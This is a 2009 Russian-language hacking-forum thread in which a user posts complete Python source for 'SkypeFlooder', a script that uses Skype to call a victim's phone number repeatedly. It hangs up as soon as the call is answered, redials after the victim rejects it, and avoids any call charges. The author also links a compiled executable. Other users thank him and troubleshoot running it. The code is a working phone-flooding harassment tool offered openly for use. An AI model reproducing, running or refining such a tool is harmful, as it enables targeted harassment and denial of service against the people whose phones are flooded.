Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   [ Python ] SkypeFlooder by inlanger. Флудер телефонов от меня. (https://forum.antichat.xyz/showthread.php?t=116226)

inlanger 16.04.2009 17:07

[ Python ] SkypeFlooder by inlanger. Флудер телефонов от меня.
 
[ Python ] SkypeFlooder

Написал флудер телефонов на Python. Работает через Skype. В exe не компилировал, так как OpenSource. Забираем, тестируем, пишем свои предложения.
Перед запуском обязательно читаем шапку кода и качаем всё что нужно!
Код:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
# Для работы необходимы:
# Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
# Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
# Skype: http://www.skype.com/intl/ru/download/
#
# version 0.2
# created by inlanger

import sys, time, Skype4Py
from Skype4Py import call

num = raw_input("Input tel number, like +1234567890: ")
pause = raw_input("Input pause(sec): ")
while 1==1:
    # This variable will get its actual value in OnCall handler
    CallStatus = 0
   
    # Here we define a set of call statuses that indicate a call has been either aborted or finished
    CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
   
    def AttachmentStatusText(status):
      return skype.Convert.AttachmentStatusToText(status)
   
    def CallStatusText(status):
        return skype.Convert.CallStatusToText(status)
   
    # This handler is fired when status of Call object has changed
    def OnCall(call, status):
        global CallStatus
        CallStatus = status
        print 'Call status: ' + CallStatusText(status)
        if CallStatusText(status)=='Call in Progress': #Call in progress
            call.Finish()
            print "Waiting pause..."
   
   
    # This handler is fired when Skype attatchment status changes
    def OnAttach(status):
        print 'API attachment status: ' + AttachmentStatusText(status)
        if status == Skype4Py.apiAttachAvailable:
            skype.Attach()
   
    # Let's see if we were started with a command line parameter..
    try:
        CmdLine = num
    except:
        print 'Missing command line parameter'
        sys.exit()
   
    # Creating Skype object and assigning event handlers..
    skype = Skype4Py.Skype()
    skype.OnAttachmentStatus = OnAttach
    skype.OnCallStatus = OnCall
   
    # Starting Skype if it's not running already..
    if not skype.Client.IsRunning:
        print 'Starting Skype..'
        skype.Client.Start()
   
    # Attatching to Skype..
    print 'Connecting to Skype..'
    skype.Attach()
    skype.PlaceCall(CmdLine)
   
    # Checking if what we got from command line parameter is present in our contact list
    Found = False
   
   
    # Loop until CallStatus gets one of "call terminated" values in OnCall handler
    while not CallStatus in CallIsFinished:
        pass
   
    time.sleep(int(pause))

На данный момент программа:
  • запрашивает номер телефона жертвы
  • запрашивает паузу между звонками
  • звонит на номер жертвы и ждёт поднятия трубки
  • если жертва берёт трубку то программа сбрасывает звонок, ждёт паузу и заново звонит
  • если жертва жмёт "отбой вызова", то программа заново звонит
Деньги не успевают уйти с аккаунта! Если вдруг деньги успевают сниматься - поставьте больше паузу между звонками.

В следующей версии может быть прикручу GUI и оптимизирую код.
Все мелкие изменения будут тут , крупные буду выкладывать в теме.

Для тех, кто не знает что делать с кодом:
Устанавливаем всё, что написано в шапке кода. Создаём текстовый файл и копируем в него код. Сохраняем с расшерением .py и запускаем.


Вариант от login999, без английских коментов, с проверкой входных данных и другими мелкими изменениями: туц

Для тех, кто не хочет/не может/не умеет пользоваться питоном собрал ЕХЕ файл. В архиве 3 файла - сама программа, библиотеки к ней и файл vcredist_x86.exe, для тех, у кого программа выдаёт ошибку. Ошибка связана с тем, что ХР и более ранние версии виндузов используют старые сишные библиотеки. Качать отсюда . Просьба не выкладывать на обменники!

Yanker 16.04.2009 17:13

Отлично работает, +1 за такую софтину!!

Zitt 16.04.2009 17:21

кул... автор молодец....

inlanger 16.04.2009 18:21

Пишем отзывы, кто уже пользовался... Мне же надо знать в какую сторону его дорабатывать.

inlanger 17.04.2009 00:10

Читай внимательнее описание и код. Там всё написано как запускать.

Моргaн 17.04.2009 00:11

чего то собрал всё как на писали нажал и черное окно открылось и закрылось:(

iron-viper 17.04.2009 00:21

запусти через командную строку если в венде. Пуск - выполнить - cmd а затем туда перетяни скрипт и нажми "ввод" возможно у тебя не так собралось или еще что, но ты не успеваешь ошибку увидеть, пробуй, так точно увидишь если что не так.

Моргaн 17.04.2009 00:25

Цитата:

Сообщение от iron-viper
запусти через командную строку если в венде. Пуск - выполнить - cmd а затем туда перетяни скрипт и нажми "ввод" возможно у тебя не так собралось или еще что, но ты не успеваешь ошибку увидеть, пробуй, так точно увидишь если что не так.

сделал и ничего не понял :(

Моргaн 17.04.2009 00:27

Цитата:

Сообщение от inlanger
Читай внимательнее описание и код. Там всё написано как запускать.

видео сделай чтоб люди знали как делать а то не понятно много чего :cool:

iron-viper 17.04.2009 00:39

видео думаю лишнее, что ты не понял? расскажи что не ясно?


Время: 05:46